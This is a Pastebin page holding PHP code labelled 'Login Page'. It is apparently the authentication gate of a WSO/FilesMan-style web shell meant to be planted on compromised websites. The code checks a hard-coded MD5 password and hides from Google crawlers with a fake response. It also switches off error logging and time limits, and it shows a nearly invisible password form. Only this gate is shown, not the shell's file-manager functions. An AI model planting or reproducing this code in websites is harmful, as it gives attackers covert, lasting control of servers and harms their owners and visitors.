AZZATSSINS_CYBERSERK

Login Page

Jul 13th, 2016
318
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.66 KB | None | 0 0
  1. <?php
  2. $auth_pass = "c822b167a5ef29fbaac2006d156afc61"; ////Passwordmu yg sudah di encrypt ke md5
  3. $color = "#00ff00";
  4. $default_action = 'FilesMan';
  5. @define('SELF_PATH', __FILE__);
  6. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  7.     header('HTTP/1.0 AZZATSSINS');
  8.     exit;
  9. }
  10. @session_start();
  11. @error_reporting(0);
  12. @ini_set('error_log',NULL);
  13. @ini_set('log_errors',0);
  14. @ini_set('max_execution_time',0);
  15. @ini_set('display_errors', 0);
  16. @set_time_limit(0);
  17. @set_magic_quotes_runtime(0);
  18. @define('VERSION', '2.1');
  19. if( get_magic_quotes_gpc() ) {
  20.     function stripslashes_array($array) {
  21.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  22.     }
  23.     $_POST = stripslashes_array($_POST);
  24. }
  25. function printLogin() {
  26.     ?>
  27. <html>
  28. <head>
  29. <style>
  30.     body{
  31.     background-image:url('http://i.imgur.com/zHNCk2e.gif');
  32.     background-color: lime;
  33.    background-repeat: repeat;
  34.        background-position: center;
  35.    background-attachment: fixed;
  36.    font-family: Tahoma;
  37.    font-color: silver;
  38.    font-size: 25px;
  39.    text-align: center;
  40. }
  41. </style>
  42. <title>Login Page</title>
  43. <body>
  44.  
  45.     <style>
  46.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  47.     </style>
  48.     <center>
  49.     <form method=post>
  50.     <input type=password name=pass>
  51.     </form></center>
  52.     </body></html>
  53.     <?php
  54.     exit;
  55. }
  56. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  57.     if( empty( $auth_pass ) ||
  58.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  59.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  60.     else
  61.         printLogin();
  62. ?>
Advertisement
Add Comment
Please, Sign In to add comment